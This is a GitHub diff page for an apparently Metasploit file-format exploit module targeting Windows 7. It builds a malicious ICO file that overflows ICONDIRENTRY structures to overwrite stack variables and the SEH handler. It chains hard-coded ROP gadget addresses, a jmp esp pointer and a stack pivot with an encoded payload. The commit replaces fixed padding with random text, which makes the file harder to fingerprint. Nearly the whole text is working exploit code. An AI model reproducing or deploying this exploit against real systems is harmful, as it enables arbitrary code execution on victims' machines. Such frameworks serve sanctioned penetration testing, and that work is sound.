File tree Expand file tree Collapse file tree 1 file changed +5
-5
lines changed
modules/exploits/windows/fileformat Expand file tree Collapse file tree 1 file changed +5
-5
lines changed Original file line number Diff line number Diff line change @@ -72,25 +72,25 @@ def target_win7
72
72
# ICONDIRENTRY structures 102 structures are using to overwrite
73
73
# every structure = 16 bytes
74
74
# 100 structures are used to reach the local variables
75
- ico << "A" * 652
75
+ ico << rand_text ( 652 )
76
76
ico << [ 0x0044729d ] . pack ( "V" ) * 20 # ret # rop nops are used to allow code execution with the different opening methods
77
77
ico << [ 0x0045cc21 ] . pack ( "V" ) # jmp esp
78
78
ico << payload . encoded
79
- ico << "B" * (
79
+ ico << rand_text (
80
80
1600 - # 1600 = 16 ICONDIRENTRY struct size * 100
81
- 652 - # padding
81
+ 652 - # padding to align the stack pivot
82
82
80 - # rop nops size
83
83
4 - # jmp esp pointer size
84
84
payload . encoded . length
85
85
)
86
86
# The next ICONDIRENTRY allows to overwrite the interesting local variables
87
87
# on the stack
88
88
ico << [ 2 ] . pack ( "V" ) # Counter (remaining bytes) saved on the stack
89
- ico << "A" * 8 # Padding
89
+ ico << rand_text ( 8 ) # Padding
90
90
ico << [ 0xfffffffe ] . pack ( "V" ) # Index to the dst buffer saved on the stack, allows to point to the SEH handler
91
91
# The next ICONDIRENTRY allows to overwrite the seh handler
92
92
ico << [ 0x00447296 ] . pack ( "V" ) # Stackpivot: add esp, 0x800 # pop ebx # ret
93
- ico << "B" * ( 0xc ) # padding
93
+ ico << rand_text ( 0xc ) # padding
94
94
return ico
95
95
end
96
96
You can’t perform that action at this time.
0 commit comments